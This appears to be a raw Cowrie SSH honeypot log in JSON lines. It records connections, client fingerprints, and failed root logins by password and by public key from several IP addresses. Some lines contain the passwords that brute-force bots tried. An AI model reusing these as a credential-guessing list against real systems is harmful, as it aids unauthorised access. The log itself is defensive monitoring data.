{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:24:58.098189Z","src_ip":"205.254.166.156","session":"7422ac3a39f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:24:58.991506Z","src_ip":"205.254.166.156","session":"7422ac3a39f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:25:00.211251Z","src_ip":"205.254.166.156","session":"7422ac3a39f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":43580,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba9211191f3e","protocol":"ssh","message":"New connection: 43.135.166.146:43580 (10.17.0.5:22) [session: ba9211191f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:25:10.798867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:25:10.804140Z","src_ip":"43.135.166.146","session":"ba9211191f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:25:10.874706Z","src_ip":"43.135.166.146","session":"ba9211191f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1957","message":"login attempt [root/1957] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:25:11.187246Z","src_ip":"43.135.166.146","session":"ba9211191f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:25:12.260045Z","src_ip":"43.135.166.146","session":"ba9211191f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":59698,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6be14ab61bb","protocol":"ssh","message":"New connection: 43.135.166.146:59698 (10.17.0.5:22) [session: f6be14ab61bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:40.818672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:40.822580Z","src_ip":"43.135.166.146","session":"f6be14ab61bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:40.893827Z","src_ip":"43.135.166.146","session":"f6be14ab61bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@2023","message":"login attempt [root/P@ssw0rd@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:41.201437Z","src_ip":"43.135.166.146","session":"f6be14ab61bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:42.272922Z","src_ip":"43.135.166.146","session":"f6be14ab61bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":1216,"dst_ip":"159.203.135.109","dst_port":22,"session":"93cec07d7300","protocol":"ssh","message":"New connection: 205.254.166.156:1216 (159.203.135.109:22) [session: 93cec07d7300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:44.254106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:44.258512Z","src_ip":"205.254.166.156","session":"93cec07d7300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:44.472975Z","src_ip":"205.254.166.156","session":"93cec07d7300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.247","src_port":46964,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c5c94f1edd4","protocol":"ssh","message":"New connection: 78.111.67.247:46964 (10.17.0.5:22) [session: 2c5c94f1edd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:45.356565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:45.361078Z","src_ip":"78.111.67.247","session":"2c5c94f1edd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^&","message":"login attempt [root/!@#$%^&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:45.366560Z","src_ip":"205.254.166.156","session":"93cec07d7300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:45.456954Z","src_ip":"78.111.67.247","session":"2c5c94f1edd4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:9c:f6:9e:5b:2e:fa:e2:ea:46:63:17:f3:46:ce:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDErWwF3GLdtLnxThXvgVMF1VtTNbqtF3qI8yvKArg1Ho07/UHu9GGRsTyE63Veb32mF4HCeMhUjhVB8s0jDb009Wdt5zn5sLYOgBNy+vTvOa7Dlj49jdwVBwK0CcqD9QI+8ETEJMwNpZXWWHGtxU+pn3nwHKM/blNSrPHs4X6nM5TvYmTyIb8w27DOrM0m+jP3BkzjlYA/LCHrdZ8Qq/J8fMLQrV059J4MfvEL4Ipi81vIp4mKXP90Jy+DjoF8tfFvpYPPW09LFEqH/SAMwHlUNAFmx8ErnjxgXgmuuEaznB0wxnhIl59BHxxUvYdttvuHgVcOKqeXB5tVeKdtQmdB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:9c:f6:9e:5b:2e:fa:e2:ea:46:63:17:f3:46:ce:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:45.917338Z","src_ip":"78.111.67.247","session":"2c5c94f1edd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:9c:f6:9e:5b:2e:fa:e2:ea:46:63:17:f3:46:ce:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDErWwF3GLdtLnxThXvgVMF1VtTNbqtF3qI8yvKArg1Ho07/UHu9GGRsTyE63Veb32mF4HCeMhUjhVB8s0jDb009Wdt5zn5sLYOgBNy+vTvOa7Dlj49jdwVBwK0CcqD9QI+8ETEJMwNpZXWWHGtxU+pn3nwHKM/blNSrPHs4X6nM5TvYmTyIb8w27DOrM0m+jP3BkzjlYA/LCHrdZ8Qq/J8fMLQrV059J4MfvEL4Ipi81vIp4mKXP90Jy+DjoF8tfFvpYPPW09LFEqH/SAMwHlUNAFmx8ErnjxgXgmuuEaznB0wxnhIl59BHxxUvYdttvuHgVcOKqeXB5tVeKdtQmdB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:45.921038Z","src_ip":"78.111.67.247","session":"2c5c94f1edd4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:7b:39:3f:2d:ea:20:03:88:00:49:b8:be:8b:d1:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsQuQO8SsKt116RFpAB52fHfOECUHvfdeT5xGc91z+QihaO8tOARewqbDBO47fORKk3rbgBmqjOIe9BVZofMQY6b4i3Z/76J0thgb+6Bv9orhso5459bgUunJwhWNUXiU1wvU7zYCY/ljph3ZQ09oneWl6GHzoLgmFi5peI0nxCTmhE44jTxnMeKoAMjVbjcQtoX2nN6oQ5OjJM1hG4vxvAYd0eJ8vztRHYV0j77vob/DHU0nRR3R65tE9ibBXXa2JVDrdmpgOsIQfe6o/Qn6TnzSc49YGRrd82toNcSJyjt74tPgdBN/YAnt++VgnVAK+O/THVa2K0BUDuRFaJlrv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:7b:39:3f:2d:ea:20:03:88:00:49:b8:be:8b:d1:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:46.017941Z","src_ip":"78.111.67.247","session":"2c5c94f1edd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:7b:39:3f:2d:ea:20:03:88:00:49:b8:be:8b:d1:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsQuQO8SsKt116RFpAB52fHfOECUHvfdeT5xGc91z+QihaO8tOARewqbDBO47fORKk3rbgBmqjOIe9BVZofMQY6b4i3Z/76J0thgb+6Bv9orhso5459bgUunJwhWNUXiU1wvU7zYCY/ljph3ZQ09oneWl6GHzoLgmFi5peI0nxCTmhE44jTxnMeKoAMjVbjcQtoX2nN6oQ5OjJM1hG4vxvAYd0eJ8vztRHYV0j77vob/DHU0nRR3R65tE9ibBXXa2JVDrdmpgOsIQfe6o/Qn6TnzSc49YGRrd82toNcSJyjt74tPgdBN/YAnt++VgnVAK+O/THVa2K0BUDuRFaJlrv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:46.020967Z","src_ip":"78.111.67.247","session":"2c5c94f1edd4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:ad:d2:fb:fc:31:ba:be:9d:e5:24:0f:0f:e2:29:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkmk0dbKR94aHg2IgTmYwEjHTULPgIhSnqpFD/L7leZysF7JOjcv2z3RJFL1bv8sh7y54BUyichFkBKFIy87uabpvVaFD35O1h4q+ZrYTnWWULR/DkQcu/vtqembZQ9+XxQd8MOLFuZPpRnvOHWPtTzOMdqvH9tQbHE+WO9ql8TyavwXSesHXLQ4p2H8KKA5WXPRjL6sV5fuaC+jwquwG+syPuLvCuftr2DuKSg0dIjeQk8T2ypGLImVmt/lxnjUpiqx30np6abu/fzwlJcQqdOUmGD8NEEawta7Fxf58nuIATzDAzCuQYkVfbyoWbMy4/C54EwrwQYmLtu5SWYD9/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:ad:d2:fb:fc:31:ba:be:9d:e5:24:0f:0f:e2:29:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:46.117700Z","src_ip":"78.111.67.247","session":"2c5c94f1edd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:ad:d2:fb:fc:31:ba:be:9d:e5:24:0f:0f:e2:29:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkmk0dbKR94aHg2IgTmYwEjHTULPgIhSnqpFD/L7leZysF7JOjcv2z3RJFL1bv8sh7y54BUyichFkBKFIy87uabpvVaFD35O1h4q+ZrYTnWWULR/DkQcu/vtqembZQ9+XxQd8MOLFuZPpRnvOHWPtTzOMdqvH9tQbHE+WO9ql8TyavwXSesHXLQ4p2H8KKA5WXPRjL6sV5fuaC+jwquwG+syPuLvCuftr2DuKSg0dIjeQk8T2ypGLImVmt/lxnjUpiqx30np6abu/fzwlJcQqdOUmGD8NEEawta7Fxf58nuIATzDAzCuQYkVfbyoWbMy4/C54EwrwQYmLtu5SWYD9/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:46.121617Z","src_ip":"78.111.67.247","session":"2c5c94f1edd4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:32:23:92:69:ac:cf:9a:a0:ac:8d:b7:df:58:b0:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUBe/U6t6HHDaCj8kcHNFGETtlp4tej1MNRCJdGDPsom/g+f8N1p+s76gPzAw+Ul5pFN/ax/4eql4EwrACv79Zl7lAhcokwAik4fiNbOK1p73/hq22zuPIvqcrquiKRDXQWMHeVzDfNu1hL1te7NPVlYsCniH5dx1ytRPfu34r82ieFTP+/1hnWGVvtySSAZl+hFbwezpa63jNwNq5Lf0BIBUyRVwusxkh91gTQZhLkFZMaQlaTeVT+K/I3yuZoVVBo6KwdkbbGtLW5m2uZlFp9qF1p2rNs74kPyg2d8KlC5J6mx6jCXCBTmPIsJlO3lnEiN7g/3ZlMOaTHNGtRybp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:32:23:92:69:ac:cf:9a:a0:ac:8d:b7:df:58:b0:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:46.219014Z","src_ip":"78.111.67.247","session":"2c5c94f1edd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:32:23:92:69:ac:cf:9a:a0:ac:8d:b7:df:58:b0:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUBe/U6t6HHDaCj8kcHNFGETtlp4tej1MNRCJdGDPsom/g+f8N1p+s76gPzAw+Ul5pFN/ax/4eql4EwrACv79Zl7lAhcokwAik4fiNbOK1p73/hq22zuPIvqcrquiKRDXQWMHeVzDfNu1hL1te7NPVlYsCniH5dx1ytRPfu34r82ieFTP+/1hnWGVvtySSAZl+hFbwezpa63jNwNq5Lf0BIBUyRVwusxkh91gTQZhLkFZMaQlaTeVT+K/I3yuZoVVBo6KwdkbbGtLW5m2uZlFp9qF1p2rNs74kPyg2d8KlC5J6mx6jCXCBTmPIsJlO3lnEiN7g/3ZlMOaTHNGtRybp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:46.223421Z","src_ip":"78.111.67.247","session":"2c5c94f1edd4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:8f:61:7a:f9:c2:18:d1:53:61:a1:44:96:4a:23:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvWGGOdYrGi09mFi4+Bw3Dow4mg3i82yf3Ib5Kku7hvWP/ovEnTWCeCF5iUunW+zo7Oy3IQ97jaaKp93F8/ZAh4xMeqU4UeDzczJZxTNBjXXiWCMRZP6UmxSpE+G0RQ0mKCnYcB6QB8bqHPOcjQcxMeAkom9rAUnQ5Z4fUyspE+Lp1sfEVOje6B7X4rcfpze2KUdzH+PTj16g29aYHvmY37sYv8pi+1dhxUVG5rCxV8mfFICH8YYuyYszxDOlJXbgG3rZYfRG8VAqQSz7YbJBiRZDys5vJEfBmvJkHjVGToC6FWCGB02iZPaBejDdC82R+xSASmjkelcKFGCzkSb5f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:8f:61:7a:f9:c2:18:d1:53:61:a1:44:96:4a:23:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:46.320117Z","src_ip":"78.111.67.247","session":"2c5c94f1edd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:8f:61:7a:f9:c2:18:d1:53:61:a1:44:96:4a:23:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvWGGOdYrGi09mFi4+Bw3Dow4mg3i82yf3Ib5Kku7hvWP/ovEnTWCeCF5iUunW+zo7Oy3IQ97jaaKp93F8/ZAh4xMeqU4UeDzczJZxTNBjXXiWCMRZP6UmxSpE+G0RQ0mKCnYcB6QB8bqHPOcjQcxMeAkom9rAUnQ5Z4fUyspE+Lp1sfEVOje6B7X4rcfpze2KUdzH+PTj16g29aYHvmY37sYv8pi+1dhxUVG5rCxV8mfFICH8YYuyYszxDOlJXbgG3rZYfRG8VAqQSz7YbJBiRZDys5vJEfBmvJkHjVGToC6FWCGB02iZPaBejDdC82R+xSASmjkelcKFGCzkSb5f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:46.323909Z","src_ip":"78.111.67.247","session":"2c5c94f1edd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:46.420827Z","src_ip":"78.111.67.247","session":"2c5c94f1edd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:46.584671Z","src_ip":"205.254.166.156","session":"93cec07d7300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":43973,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eab348bc164","protocol":"ssh","message":"New connection: 27.74.248.52:43973 (10.17.0.5:22) [session: 4eab348bc164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:49.434486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:49.437809Z","src_ip":"27.74.248.52","session":"4eab348bc164","protocol":"ssh"}
